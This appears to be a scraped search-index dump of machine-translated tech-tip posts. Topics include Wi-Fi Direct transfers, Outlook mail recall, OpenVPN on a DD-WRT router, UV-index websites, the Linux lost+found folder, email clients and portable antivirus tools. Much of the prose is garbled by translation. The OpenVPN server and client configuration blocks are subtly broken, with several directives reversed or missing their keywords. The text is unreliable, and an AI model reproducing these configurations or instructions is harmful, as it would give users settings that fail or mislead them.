Mode.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81moqKno6B6rrvDnmSopl2Wu6W%2BzqKbZpyVq7aksdI%3D\n","link":"/post/how-to-turn-on-kiosk-mode-on-android-devices/","section":"post","tags":null,"title":"How to turn on Kiosk Mode on Android devices"},{"body":"Wireless data sharing has made rapid strides in the past few years. Thanks to Wi-Fi, Bluetooth and NFC, data can be moved from one device to another easily.\nDifference between NFC and Bluetooth Windows 10 boasts Wi-Fi Direct, a wireless connection system that makes it easy to connect devices. Want to transfer data from a PC to a laptop? Need wireless setup? Connect your phone to the computer?\nYou can do this thanks to Wi-Fi Direct. This article will guide you how to use Wi-Fi Direct on Windows 10 and wireless file transfer.\nWays to transfer data between your phone and computer without an interface cable File sharing between PC / Mobile and Mobile without software The application transfers data via WiFi on Android professional Introducing Wi-Fi Direct for PC: wireless file transfer You can think of Wi-Fi Direct as a type of Bluetooth over Wifi. It has the same detection and sending function of Bluetooth but the data is sent using the wireless network. This helps to transfer files with faster speed.\nBluetooth has been around since 1994 and although it's useful for streaming audio and connecting devices, it's not suitable for transferring large files. Wi-Fi Direct has overcome this problem and is likely to replace Bluetooth in the next few years.\nAt this stage, Wi-Fi Direct is not as popular as Bluetooth.\nHowever, when used successfully, this is a very useful feature to transfer data between Windows 10 and other suitable hardware.\nCheck for Wi-Fi Direct compatibility on Windows 10 computers Use Wi-Fi Direct to send files faster and simpler than Bluetooth. However, first, you need to check if the device is compatible with Wi-Fi Direct by pressing Win + R , entering CMD to open Command Prompt, then enter ipconfig / all .\n  If you have Wi-Fi Direct, you'll see Microsoft Wi-Fi Direct Virtual Adapter .\nNext, you can transfer data via Wi-Fi Direct.\nHow to transfer files from Android to Windows using Wi-Fi Direct Because you need a third-party application to use Wi-Fi Direct, it is important to select the correct application.\nFeem is software that supports Wi-Fi Direct for Windows PC and laptop users since Windows 7 and Windows 8.\n https://feem.io/#download  Feem is free to use, although it has many other paid options. Wi-Fi Direct in Feem is free like live chat. However, you can pay to support iOS, unlimited file transfers and delete ads.\nUsing Feem to transfer data from Android to a PC or laptop is very simple.\nStep 1 . Set Android to a mobile hotspot in Settings\u0026gt; Network \u0026amp; Internet\u0026gt; Hotspot \u0026amp; tethering . Then connect the Windows computer to this network.\nHow to play Wifi on Android phone? Step 2. Launch Feem on Android and on Windows. You will see that both devices have unusual application names (for example, Junior Raccoon) and passwords. Save this password because you will need it to establish a connection from the beginning.\nStep 3. Send files from Android to Windows using Wi-Fi Direct, select the device to and tap Send File . Browse to the file and tap Send .\n  After a few moments, the data will be transferred to the computer.\nNo Wi-Fi Direct? Transfer files from Android to Windows PC using FTP If your computer does not support Wi-Fi Direct, you can use some tools available on Android to share data remotely with Windows.\nES File Explorer is a popular third-party Android file manager. It has several file management features for local and network use. Among them is a feature called FTP, which provides a direct network connection between the two devices.\nUse the FTP feature by going to Network\u0026gt; FTP to display the IP address of an Android device.\nPaste it into a file transfer program like FileZilla to browse the content. You can then transfer files between the two devices easily.\nTry ES File Explorer if you want to transfer data from a mobile device to a laptop via Wifi without Wi-Fi Direct.\nNo Wi-Fi Direct, transfer files via Bluetooth If the device does not support Wi-Fi Direct and does not want to use FTP, the smart solution is to use Bluetooth.\nFirst, make sure your computer is paired with a suitable Bluetooth device (phone, tablet, computer, etc.) before sending the file to it. The method of file transfer via Bluetooth is largely the same on devices and requires both to be set to 'discoverable'.\nAfter that, both devices will search for each other and connect successfully after entering the verification code.\nIf you don't know where to control Bluetooth on your Windows 10 computer, open Settings\u0026gt; Devices .\nFor the second device in detection mode (check device documentation) select Add Bluetooth or other device . Windows 10 will detect the device, follow the instructions to add it.\nTo pair successfully, switch to the Windows desktop and look for the Bluetooth icon in the system tray / notification area. Left click and select Send a file , you will be prompted to select the destination device, then browse for the file.\n  To send a file, the receiving device is required to confirm that it wants to save the data. Agree and wait for the file transfer to complete.\nNote that due to the shorter Bluetooth range, you need to keep the two devices close to each other.\nData transfer rate: Which is best? You may notice after trying two methods: Wi-Fi Direct is significantly faster than Bluetooth. Recent tests have demonstrated Bluetooth speed as a turtle.\nAlthough Wi-Fi Direct is not faster than transferring data via cable (like USB 2.0 or USB 3.0), it is capable of transferring files of 1.5 GB in 10 minutes, while Bluetooth takes nearly 125 minutes to transfer the same data. Whether.\nDifferentiate between USB 2.0 and USB 3.0 The option you choose will depend on the data you want to transfer. A USB 3.0 cable with compatible hardware is the fastest option. Wi-Fi Direct ranks behind it and Bluetooth ranks third. Wi-Fi Direct is a mid-range option, but it is not as widely available (or unknown) as Bluetooth.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq4tcWiZJ2hopqwtXnOp2SwoZ6ZvLi%2FjGpn\n","link":"/post/how-to-use-wi-fi-direct-on-windows-10/","section":"post","tags":null,"title":"How to use Wi-Fi Direct on Windows 10"},{"body":"With just one click, you can send email messages to others. However, sometimes that agility makes you miserable when you accidentally send unsolicited email content, mistakenly send important messages to others that cannot be edited or retrieved. But you don't have to worry, MS Outlook will help you solve that problem at a glance.\nConditions for performing the email retrieval feature in Outlook Emails sent with Microsoft Outlook may be deleted from the recipient's inbox or replaced by new e-mail, which must meet the following conditions:\nE-mail reader of both sender and receiver must be connected to Microsoft Exchange server. Email that you want to retrieve is sent to addresses that are in the same organization / business and must use the Outlook desktop application or Office 365. The recipient has not opened the mail yet. If these three requests are met, the email can be recalled without a problem.\nRecall emails on Outlook 2016, 2013 and 2010 To recover emails sent using Outlook 2016, 2013 or 2010, you need to do the following:\nStep 1: Click the Sent Items folder located on the left side of the Outlook window.\nAll sent messages will be automatically saved in Sent Items folder.\nStep 2: Select the email you want to revoke and double click to open in a new window\nWhen opened, Outlook provides a number of different functions, such as forwarding, replying, or moving emails right on the interface.\nStep 3: Click the Actions button and select Recall This Message from the drop down menu.\nIf you do not see the Recall This Message option, you do not use an Exchange account or the recall function has been disabled by the administrator of the Exchange server.\nStep 4: Choose one of the two withdrawal options.\nDelete unread copies of this message: the system recovers sent messages. Delete unread copies and replace with a new message: the system recovers sent mail and replaces it with a new letter. However, not all letters can be retrieved, MS Outlook is currently only able to retrieve letters that the recipient has not read. Therefore, you should set up the system to notify you in case the message has been revoked or not revoked, by checking Tell me if recall succeeds or fails for each recipient .\nStep 5: Confirm your selection by clicking OK.\nStep 6: To ensure that the revocation was successful, Outlook will always notify you by email of the revocation results. If you have activated the corresponding function, the recipient of the message will also be notified of the recall.\nRecall failure: Email about failed recall includes the following information: recipient, subject, time and failure recall.\nSuccessful recall : The email about the successful recall also includes the same information as when the recall failed, except that the email will have been successfully recovered.\nHas the email been successfully recalled? The fact that a sent email can be retrieved and replaced with a new message depends not only on the requirements listed above, but also on the recipient's Outlook settings.\nCase 1: The recipient's Outlook has \"Automatically process meeting requests and responses to meeting requests and polls\" enabled.\nIn this case, both the original message and the recall message will be saved in the recipient's inbox.Whether the recall will succeed or not depends on whether the message has been read or not:\nIf the recipient has not read the original email, it will be replaced with the revoked email. The recipient is still informed that you have recalled the original message. If the email is marked as read then you cannot recall anymore, the message will remain in the recipient's inbox. However, the recipient will still be notified that you are trying to recall the message. Case 2: The recipient's Outlook disables the \"Automatically process meeting requests and responses to meeting requests and polls\" feature\nIn this case, both the original message and the recall message will be saved in the recipient's inbox.Whether the recall will succeed or not depends on which email was previously opened:\nIf the recipient opens the previous recall message, the original message is deleted, which means that the recall was successful. If the recipient opens the original email first, the revocation will not succeed. Scenario 3: Recipients use rules that cause original emails to be moved to other folders Inbox.\nIf the recipient sets up rules in Outlook so that similar emails are always grouped together, which means that the original and recovered emails will be stored in different folders, the retrieval will fail. How to fix some common Outlook errors and how to fix them\nCase 4: The recipient uses the rules (Rules) but both the original email and the retrieved email go to another folder.\nIf the recipient sets up a rule in Outlook that both emails are stored in the same folder, it depends on which email is opened first.\nIf the recipient opens the previous recall message, the original message is deleted, which means that the recall was successful. If the recipient opens the original email first, the revocation will not succeed. So TipsMake.com has just taught you how to recall / recover emails sent on Outlook. It is not complicated but it depends on many other factors not only from the sender.\nPlease try to see if there is a problem. Good luck!\nSee more:\nHow to create folders in Outlook 2016 with rules List of Outlook 2016 keyboard shortcuts when working with Mail Summary of some common errors in Outlook and how to fix them ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnRnpqapJxiv6avzq%2Bcq2WdlratedKepa1lmaN6rr%2BMqKytpJ%2BkuA%3D%3D\n","link":"/post/instructions-on-how-to-recall-recover-mail-sent-in-ms-outlook/","section":"post","tags":null,"title":"Instructions on how to Recall, recover mail sent in MS Outlook"},{"body":"Before that, there were many cases where Windows 11 users had problems with the color display quality of the screen using specialized software such as photo and video editors. The problem seemed to only appear. on Windows 11, so this is most likely a compatibility issue originating from the operating system.\nInitial reports suggest that this issue may prevent some image editing programs from displaying correct colors on certain monitor models (primarily HDR monitors). Anomalies are observed when users try to edit photos that are white or on a white/light background. In it, the image may be displayed as bright yellowish or even other colors, deviating from the original color.\n  The results of Microsoft's preliminary investigation indicate that the problem occurs when the Win32 APIs return unexpected information or errors under specific conditions. This is a Windows 11 systemic issue, and updating to a new version of your third-party apps won't make a difference in most cases. However, according to the technology giant, this problem is not universal, ie, it does not affect all software related to editing and color management.\nAs for the solution, Microsoft hopes to be able to release a patch to fix this problem as soon as January 2022. If you're an Insider program member, you'll get early access to fixes in preview builds as soon as they're available.\nTipsMake.com will continue to update information on this issue in the near future, please read carefully!\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrCwusWiqaarXaOyuHnIrKqunV2Ws6exwq2gp59dqLCzscSnZK%2Bho56vqrjIrbBmp55ixKq6w6iurGVhZg%3D%3D\n","link":"/post/microsoft-confirms-new-issue-affecting-screen-visibility-on-windows-11/","section":"post","tags":null,"title":"Microsoft confirms new issue affecting screen visibility on Windows 11"},{"body":"Microsoft has announced it will close the Nokia Store online app market in 2015.\n  The Opera Mobile Store will be an alternative application store for users using older Nokia models\nAccording to GSMArena, Nokia Store is a popular online app market for Nokia users who use phones running Series 40, Series 60, Symbian, Nokia Asha and Nokia X. However, according to the latest announcement from Microsoft, This online store will be closed during the first half of 2015.\nMicrosoft said that users of the old Nokia models are not too worried when it comes to closing Nokia Store, the company has signed a contract so that users can use the Opera Mobile Store application developed by Opera.\nRich Bernardo , Microsoft's vice president of mobility, said Opera Mobile Store will be a perfect replacement for users, as the online app store has more than 300,000 different apps and games. .\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsSquMtmmqWno5p6r7vKophmq6Skv6Z5yKdka2hhag%3D%3D\n","link":"/post/microsoft-will-close-nokia-store-in-2015/","section":"post","tags":null,"title":"Microsoft will close Nokia Store in 2015"},{"body":"Network Administration - This is the second part of the series that includes two introductions to how to set up the OpenVPN on the DD-WRT Router. A great way to set up secure connections for your network with the 'warriors' on the road or to connect remote offices. This cost-effective solution can support dozens or two VPN users.\n  Set up the OpenVPN on the DD-WRT Router - Part 1\nIn part 1 of the series, we uploaded the DD-WRT software onto the router, changed the router's IP address and subnet for several reasons and created SSL certificates for the server and OpenVPN client.\nNow we will continue by enabling OpenVPN server and copying in SSL certificates. We will also enter startup scripts and firewalls. It will then configure the client and finally test it.\nConfigure OpenVPN Server\nWe can start configuring the OpenVPN server on the DD-WRT router. Start by connecting to the router. Enter the new IP address (192.168.2.1) into the web browser. Then activate and configure the server:\nClick Services \u0026gt; VPN . In the OpenVPN Daemon area, enable Start OpenVPN . With Start Type , select WAN Up . With the boxes below, enter the contents of the certificate file specified below:\nPublic Server Cert: ca.crt Certificate Revoke List: (left blank) Public Client Cert: server.crt. Do not enter the first part of the file. Like other components, start with ----- BEGIN CERTIFICATE ----- and end with ----- END CERTIFICATE ----- . Private Client Key: server.key DH PEM: dh1024.pem OpenVPN Config: (see below) OpenVPN TLS Auth: (left blank) Open each certificate file in Notepad to view the content. Some files you can right-click, select Open With and Notepad . Some of you may have to open and then choose Notepad as the program is opened.\nWith the OpenVPN Config box, enter the following configuration parameters:\n server mode   proto udp   port 1194   dev tap0   server-bridge 192.168.2.2 255.255.255.0 192.168.2.200 192.168.2.249   keepalive 10 120   daemon   verb 5   client-to-client   dh /tmp/openvpn/dh.pem   ca /tmp/openvpn/ca.crt   /tmp/openvpn/cert.pem cert   key /tmp/openvpn/key.pem   management localhost 5001  When you're done entering all this information, click Apply Settings .\n  Startup configuration and Firewall\nAt this point you must enter the boot script so that the server can start during boot. Then you must enter the firewall script so that the VPN traffic can pass. On the DD-WRT control panel, click Administration\u0026gt; Commands .\nPaste the following paragraph and click Save Startup :\n openvpn --mktun --dev tap0   brctl addif br0 tap0   ifconfig tap0 0.0.0.0 promisc up   Paste the following and click Save Firewall:   iptables -A INPUT -i tap0 -j ACCEPT   iptables -I INPUT -p udp --dport 1194 -j ACCEPT  Restart the router\nNow everything is set for the OpenVPN server on the router, restart it. You can do so by unplugging the router source for a few seconds or by going through the control panel by clicking the Administration tab and clicking the Reboot Router button at the bottom.\nConfigure the Windows client\nNext, you must set up the clients, the computers you want to connect to the VPN server. Start by downloading and installing OpenVPN on each computer using Windows Installer.\nNow open Notepad and paste into the following configuration parameters:\n remote XXX.XXX.XXX.XXX 1194   client   dev tap0   proto udp   resolv-retry infinite   nobind   persist-key   persist-tun   float   ca.crt   client1.crt cert   client1.key key   ns-cert-type server  Need to change the remote address in the preamble with the IP address of the WAN or the Internet. You can use a hostname, such as for a dynamic DNS service, if the Internet connection does not have a static IP. In addition, it is necessary to ensure the correct client certificate name and key.\nSave the Notepad file with the .ovpn extension to the following location: C: Program FilesOpenVPNconfig. To save with another extension, you will have to change the Save as Type option on the Save from Text Files dialog box to All Files .\nYou must also copy the three lines below the line from the computer and the folder where you created the certificates (C: Program FilesOpenVPNeasy-rsakeys) to the client in the C: Program FilesOpenVPNconfig folder.\nca.crt client1.crt client1.key It should be noted that the names of each client certificate and key may be different; Select the correct name for each client.\nConfigure additional DD-WRT routers\nIf you want to connect offices together, you can set up DD-WRT secondary routers at other locations. It can then use its OpenVPN client to connect back to the VPN server you just configured. Configuring the client is completely simple, this is how to configure them:\nClick Services\u0026gt; VPN . With OpenVPN Client, click Enable . With the IP / Name Server , enter the WAN / Internet IP address or hostname of the DD-WRT router configuring OpenVPN Server. With the boxes below, enter the contents of the certificate file specified below:\nPublic Server Cert: ca.crt Public Client Cert: client1.crt. Do not enter the first part of the file. Like other components, start with ----- BEGIN CERTIFICATE ----- and end with ----- END CERTIFICATE ----- . Private Client Key: client1.key Kiểm TRA\nAfter you have completed the above steps, you can connect. If the OpenVPN GUI has not been loaded into the system tray, the bottom right corner of Windows, launch the program right now. Click Start\u0026gt; All Programs\u0026gt; OpenVPN\u0026gt; OpenVPN GUI .\nRight-click the OpenVPN GUI icon in the system tray and select Connect .\nYou can now access the DD-WRT router and shared components on the local network, where OpenVPN server is residing.\nRemember that you are connecting to a WAN or Internet address so you should connect from outside the DD-WRT router's local area network, for example from another location on the Internet.\nIf you want to test the server without moving to another location, connect to the DD-WRT router from the WAN / Internet port to the Ethernet port on another network or other router. Ensure that the DD-WRT router has a WAN IP address; Use this address in the OpenVPN configuration file on the test client. You can then access the other network and connect to the OpenVPN server. This way will simulate a connection from the Internet. When you're done and want to use it via the Internet, cancel the DD-WRT router connection and plug it directly into the Internet modem.\nWe can view the OpenVPN status and connections in DD-WRT by clicking Status\u0026gt; OpenVPN.\nncG1vNJzZmismaXArq3KnmWcp51kwKbAjK6nZqyYmnqwvMSnrammXaS7bsDHnmSdnKenwW6%2Bzq6rnqpdpa6zwIxr\n","link":"/post/set-up-the-openvpn-on-the-dd-wrt-router/","section":"post","tags":null,"title":"Set up the OpenVPN on the DD-WRT Router"},{"body":"In addition to weather and temperature issues, during this hot season, another factor that many people often hear is the UV index. So what is the UV index?\nUV index, also known as UV index, ultraviolet ray index. It is an international standard measure of the intensity of ultraviolet radiation from the sun at a specific location at a specific time. It is the first scale to be used for daily forecasts to the known public, displayed by the hour.\nThe higher the UV index, the more dangerous the solar radiation is to human health. Excessive exposure to sunlight will cause sunburn, eye damage such as cataracts, skin aging, immunosuppression and skin cancer.\nUsually the UV index will increase when the sun rises and will decrease when the sun goes down. Health organizations recommend that people protect themselves by applying sunscreen to the skin and protecting the skin by wearing a hat, sunscreen, and sunglasses . when the ultraviolet ray index reaches the level 3 or higher. Below is a summary of the web pages that will help you see the UV index according to the time of day.\nHow to view weather in multiple locations on iPhone at the same time Quick view of weather on iPhone How to use Today Weather to view weather forecasts How to view UV index on iPhone Synthesis of weather watch sites and UV index Sunburnmap (sunburnmap.com) The Sunburnmap service provides information about the intensity of ultraviolet solar radiation and its effects on your body. No matter where you are in the world. Sunburnmap will tell you the maximum UV index according to each hour of the day. Attached is the maximum exposure time to avoid skin damage and protective measures you can take to reduce the adverse effects of ultraviolet rays. Radiation level will be displayed for three days.\nThe site currently works correctly with browsers like Google Chrome, Mozilla Firefox, Safari, Opera. For Internet Explorer, Sunburnmap does not support\n  In addition, Sunburnmap recommends appropriate sun protection measures (UVA + UVB) for UV index at your location. Protection factor of sunscreen is displayed with safety limit.\nSunburnmap's map always shows the maximum UV index. When you select a city, the maximum UV index is displayed by default. If you want, you can select the Hourly UV Index to display the UV index by the hour, when this option is selected, Sunburnmap will choose the nearest hour.\nFor example, if you choose to display the UV index by the hour of the clock, the application will tell you the UV index according to that hour, for example, under the figure is the UV index 6 according to the 12-hour mark. And in the watch next to it, the UV index will be attached to each hour mark for your reference, along with measures to prevent the symbol on the side.\n  If you want to see all the features in Sunburnmap, you can purchase the upgrade package by registering on the website with the social network account. Just select the social network you are using on the UV indicator panel, then log in to your account and you will experience the upgrade package within 1 day of logging in.\nYou will then have to buy access in 1 or 3 month packages with a discount of $ 19, with full access you will have:\nForecast of weather indicators No ads Accelerate web downloads, weather updates, and latest and fastest UV indexes Donate funds against skin cancer Certificate of appreciation Weather Online (weatheronline.co.uk) WeatherOnline is a service that provides users with weather forecasts in major cities around the world, as well as providing users with weather indicators such as UV index. Just select your city in Current Weather\u0026gt; Weather\u0026gt; select Asia (Asia), then select Southeast, then choose Vietnam.\nThe list of provinces and cities will display according to the map for you to choose, each city will display the weather information table with the time of 4, 8 or 14 days. The weather information will include temperature, rain or sunshine .\n  In addition, you can check the level of wind, temperature, dry or wet sugar. An equally important indicator is UV index, UV index in Weather Online will be ranked from 1 to 10. Accompanying harmful information of UV index according to UV index table. Weather Online also tells you the maximum time when your skin is not protected without sunburn.\n  3. AccuWeather (accuweather.com) AccuWeather is a name that is probably no stranger to many people, this service provides online and quick weather information in every location for users. Just find the city name you are on the search box. All weather information such as temperature, rainfall, clouds or sunshine, snowfall .\n  Not only can the weather be seen in different provinces and cities, users can also see details in different districts in each province.\n  In addition to providing users with weather information. AccuWeather also provides users with humidity, dew point and especially UV index according to the time of day. Just click on the province / city you want to see and choose Hourly. The weather table for that day will appear.\n  4. Weather Channel (weather.com) The weather channel is familiar, just go to the Weather Channel page and enter the city name or Zip Code to see the weather information for that city.\nAfter entering the code, you will see a range of weather information of the city you want to see, including temperature, wind, humidity, dew point, vision, pressure, UV index reading . .\n  As with all other weather information services, you can see the weather section for hours, tomorrow, the next 5 or 10 days . In addition to the normal weather, you can view predictions of disasters such as Tropical storms, snow storms, floods . All information will be updated for Weather Channel users\n  These are some of the services that monitor online weather information, monitor the UV index in real time. From the above weather information, you will know when to go out to limit the direct impact on the body and avoid the dangerous weather.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jLCcm6uZqbJuv8SeZLCdkam1pr6MmqWdZaWreqq6w56v\n","link":"/post/top-website-see-weather-and-uv-index/","section":"post","tags":null,"title":"Top website see weather and UV index"},{"body":"On Linux, users use the fsck (file system check) command to check for corrupted system files. Fsck can find corrupted files on the file system. If any files are found to be corrupted, fsck will remove the corrupted data from the file system and move to the lost + found directory.\n  The lost + found folder is part of the Linux, macOS and UNIX operating system . Each system file, each partition has its own lost + found directory. You can find the recovery data of the corrupted files here.\n1. What is the lost + found folder? On Linux, users use the fsck (file system check) command to check for fsck file system errors that can find corrupted files on the file system. If any files are found to be corrupted, fsck will remove the corrupted data from the file system and move to the lost + found directory.\nFor example, if you turn off your computer suddenly when the computer is running and the files are being written to the hard drive, the fsck tool will automatically check your system files the next time you start your computer. If any data fails, it will enter the lost + found directory.\nSame on macOS. If you run Disk Utility and check the file system error on the drive, Disk Utility will probably find the corrupted data and store the corrupted data in the lost + found directory.\nMost UNIX file systems have a lost + found directory, including ext2, ext3, and ext4 on Linux as well as HFS + file system on macOS. However, some file systems do not use the lost + found directory.\n2. Where is the lost + found folder located? Each file system has its own lost + found directory, so you can find the lost + found folder on each hard drive or partition. This means that you will find a lost + found folder in the root directory at / lost + found .\nIf any other partitions are mounted, you will also find the lost + found folder on each of those partitions. For example, if you have a separate partition for the Home folder installed at / home, then you will find the lost + found folder at / home / lost + found.\nThe data that has been corrupted from the Home partition will be put in / home / lost + found instead of put in / lost + found.\nIf you have a USB drive or an external hard drive formatted with the Linux file system, you will also find the lost + found folder on it.\nNote that this folder is often hidden, so you must enable the option to display hidden folders and files on the system.\nReaders can refer to how to hide, show hidden files, folders and file extensions on Windows 7/8/10 here.\n3. How to view content in lost + found folder? This directory is often restricted to root users, preventing users from accessing recovered data. In some cases the lost + found directory may be empty, which is normal so don't think the folder is corrupted or corrupted.\nTo view the contents of the directory, open the Terminal window and run the following command:\nsudo su\ncd / lost + found\nls\nIf the first command doesn't work, try running su instead of running sudo su .\nThe above Terminal command will list any files in the lost + found directory. If not display any files synonymous with empty directories.\n4. Restore data If you see files or something in the lost + found folder, that's not the whole file. Instead you will only see small portions of the file or bit of the corrupted data.\nIf you accidentally lose some important data, you don't need to worry because you can find that data in the lost + found directory. If you lose data, you can check in the lost + found directory and restore that data. If you find the entire file here, you can move the file to its original location and use the file.\nAlso, you cannot delete the lost + found directory , because it is a fixed part of the file system. However, if you use the fragment file inside the lost + found directory, you can delete them using the Terminal command to free up space.\nRefer to some posts below: How to enable / disable the Security tab of files and folders on Windows? Use CMD to create an 'undeleted' folder on Windows What is the 'System Volume Information' folder, and can this folder be deleted? Wish you have moments of fun!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWcpMC1ecWorKecXZu8rbDEq2Sopl2htq%2FB12aYp5xdoq6ku9I%3D\n","link":"/post/what-is-lost-found-folder-on-linux-and-macos/","section":"post","tags":null,"title":"What is lost + found folder on Linux and macOS?"},{"body":"You are looking for a free email program for Windows, so you can't ignore the 12 email programs on this list. Read, learn and choose for yourself the best program.\n1. Mozilla Thunderbird Mozilla Thunderbird is an email application and a fully featured, secure and very efficient RSS feed reader. It allows you to process mail and filter spam quickly.\nInstructions for setting up Mozilla Thunderbird to set up email scheduling and automatic mail replies   Download : Mozilla Thunderbird\n2. Opera Mail Opera email application has a simple and flexible interface that will meet most of your email needs. In addition Opera also integrates RSS feeds. Some people find the message editor missing some features and does not support encrypted emails.\n  Download: Opera Mail\n3. Mailbird Mailbird offers a great and reasonable email experience. With the free version, users can only use one email account and use multiple accounts with paid versions. Although Mailbird has built-in applications, they are not compatible and the application's mail handling is limited.\n  Download : Mailbird\n4. Pegasus Mail Pegasus Mail is one of the most powerful, secure and generally electronic email programs for Windows, but the interface is a bit complicated.\n  Download : Pegasus Mail\n5. IncrediMail IncrediMail is a fun and easy-to-use email application that adds \"spice\" to incoming messages while protecting users from phishing, but IncrediMail lacks some productivity features a large amount of mail.\n  Download : IncrediMail\n6. Mail for Windows Mail for Windows is a basic email program that allows you to handle email in multiple accounts easily and securely, although it lacks some advanced features such as unable to set up filters, such as groups. email or message template.\n  Download : Mail for Windows\n7. Mulberry Mulberry is a powerful and extremely versatile email application for all popular platforms. If there is something Mulberry lacks, that's the simplicity.\n  Download : Mulberry\n8. DreamMail DreamMail manages email and RSS feeds in a convenient and aesthetic way with labels and related message search. However, this program is limited to international languages, DreamMail's spam filter seems to be ineffective and does not support IMAP accounts.\n  Download : DreamMail\n9. Sylpheed Sylpheed is a surprisingly versatile email application because it has a friendly interface, easy to use and with many useful features.\n  Download : Sylpheed\n10. i.Scribe I.Scribe is a small, fast, efficient and very convenient email program. However, it lacks messaging security and doesn't support IMAP in Scribe very well.\n  Download : i.Scribe\nSee more:\nTop free email services Top 10 email marketing services in the world Learn about how email works ncG1vNJzZmismaXArq3KnmWcp51kfnF5xaucnmWVoq6quIypqaifopa6tHnFqKlmr5mjsbDD0mZpaWlo\n","link":"/post/10-free-email-programs-for-windows-2018/","section":"post","tags":null,"title":"10 free Email programs for Windows 2018"},{"body":"Is your computer something unusual? Do you find it annoying when pop-ups are trying to download security software or there is always a warning that your computer is not safe? It seems you have encountered a threat called \"scamware\". So what is the solution to this problem? That's Norton Power Eraser. Norton Power Eraser is specially designed to target scamware. It uses the most comprehensive scanning technology to eliminate threats that traditional virus scans don't always detect. Therefore, your PC is absolutely secure.\nIf your Microsoft Windows XP, 7, 8, 8.1 or 10 is infected with malware, chances are, your antivirus software has been disabled due to viruses or trojans. Uninstalling and reinstalling any antivirus program is useless because malware is programmed to disable this feature. Don't be too worried, this is the time when portable antivirus software develops its strengths. The following is a list of 10 virus scanning software without installation.\n01 - Microsoft Safety Scanner (136MB)   Do you think your PC is infected with a virus? Microsoft Safety Scanner is a free, downloadable security tool that provides on-demand scanning and eliminates viruses, spyware and other malware. It works in tandem with your existing antivirus software.\nMicrosoft Safety Scanner expires after 10 days of download. To rerun the scan with the latest anti-malware functions, please download and run the Microsoft Safety Scanner again after it expires.\n02 - Avira PC Cleaner (2.2MB)   PC Cleaner is a malware scanner that works with other anti-malware products. It protects desktops, laptops and netbooks running Windows XP (SP3) and above. Best of all, PC Cleaner does not require installation, registration or any additional drivers.\n03 - McAfee GetSusp (1.5MB)   McAfee GetSusp is for users who suspect their computer does not detect malware. GetSusp does not require users to have extensive knowledge of computer systems to remove malware. It does this by using a combination of diagnostics and querying the reputation database of McAfee Global Threat Intelligence (GTI) to collect information about suspicious files.\n04 - Comodo Cleaning Essentials (22MB)   Comodo Cleaning Essentials (CCE) is a set of computer security tools designed to help users identify and remove malware or unsafe processes from infected computers. Designed as a portable application, this software does not require installation and can be run directly from removable media such as a USB. CCE includes two core technologies:\nKillSwitch - An advanced system monitoring tool that allows users to identify, monitor and prevent potentially unsafe processes running on the system. As a rather unique product, KillSwitch takes advantage of Comodo database to isolate unreliable processes with extremely high accuracy - improve operational efficiency by reducing false identification cases and cut down on troubleshooting time. Malware scanner - A full-featured malware scanner capable of excavating and removing viruses, rootkits, hidden files and malware hidden deep within a system. Highly configurable scanner, using the latest heuristic techniques to detect previously unknown viruses, capable of removing first-class malware and being able to detect hidden drivers and services loaded during system startup. 05 - Kaspersky Security Scan (124MB)   Kaspersky has changed the way this software works. It is no longer portable software, but still performs virus scanning as usual. Kaspersky Security Scan will check for new malware and known malware on your PC - plus advice on the security status of your computer. Kaspersky Security Scan uses Kaspersky Lab's latest technologies - plus real-time access to cloud-based security information - to ensure it can scan your computer for viruses and viruses. Latest threats.\n06 - Symantec Norton Power Eraser (2.9MB)   Symantec Norton Power Eraser removes viruses and malware that traditional virus scanning tools cannot detect. Norton Power Eraser is a free tool that can be downloaded and run to remove threats to your computer. You can run this tool to scan threats even if you already have Symantec products or any other security product. If you cannot start the computer in Normal mode , you can run this tool in Safe mode . Norton Power Eraser easily downloads and scans your computer quickly to detect computer viruses in the most positive way. And you do not need to install this tool.\nNorton Power Eraser tool is only compatible with computers running Microsoft Windows operating system. It does not work with computers running on Mac OS X.\nNorton Power Eraser uses effective methods to detect threats, and select some legitimate programs to remove them. You should carefully consider the scan results page before deleting the file.\n07 - Dr.Web CureIt! (157MB)   Dr.Web CureIt! (no need to install) is a Russian antivirus program that quickly scans your computer and handles any malicious objects detected. Dr.Web CureIt! is an indispensable tool to protect computers running MS Windows 8/7 / Vista / XP / Server 2003/2008/2012 (both 32 and 64 bit). Dr.Web CureIt! virus detection and removal, rootkits, trojans, spyware and other dangerous objects that are not detected by regular antivirus software.\n08 - Zemana AntiMalware Portable (5MB) | Free trial for 14 days   Zemana AntiMalware Portable cleans your computer in minutes, even if your computer is infected with a serious virus! Zamana AntiMalware is a great option to install on your computer because it consumes very few resources and is very easy to use interface, both for professionals and ordinary users.\nYou can use the program every day to make sure your computer is not infected with any malicious files. The outstanding features can be mentioned as:\nDetecting and removing advanced malware Clean the browser Effective against Rootkit and Bootkits 09 - Emsisoft Emergency Kit (270MB)   Emsisoft Emergency Kit contains a collection of programs that can be used without installation, to scan for malware and clean infected computers with Emsisoft Emergency Kit Scanner and Emsisoft Commandline Scanner. Emsisoft Emergency Kit includes powerful, complete Emsisoft scanner and graphical user interface. This software scans computers infected with viruses, Trojans, Spyware, Adware, Worms, Dialers, Keylogger and other malicious programs.\nHow to remove Trojan, Virus, Worm or Malware? 10 - HitmanPro of Sophos (12MB) | 30 day trial   HitmanPro only has a capacity of 12 MB and does not require installation. It can scan on desktop, USB Flash Drive, CD / DVD or remote storage device. Even if your antivirus software is controlled by malware and holds files, HitmanPro still works normally, detecting and removing those threats.\nHitmanPro is capable of removing ongoing threats from within your operating system and replacing infected Windows resources with secure versions and attempts to prevent re-infection. The new malware is activated every day and can be found everywhere, even on trusted websites and normal antivirus programs can't detect them. HitmanPro is designed to run in parallel with your antivirus program, using deep scanning to find and remove malware that is increasingly difficult to detect.\nSee more:\n10 best antivirus programs for Windows 7 How to kill Net-Worm.Win32.Kido virus Completely remove Adware and Spyware on your system 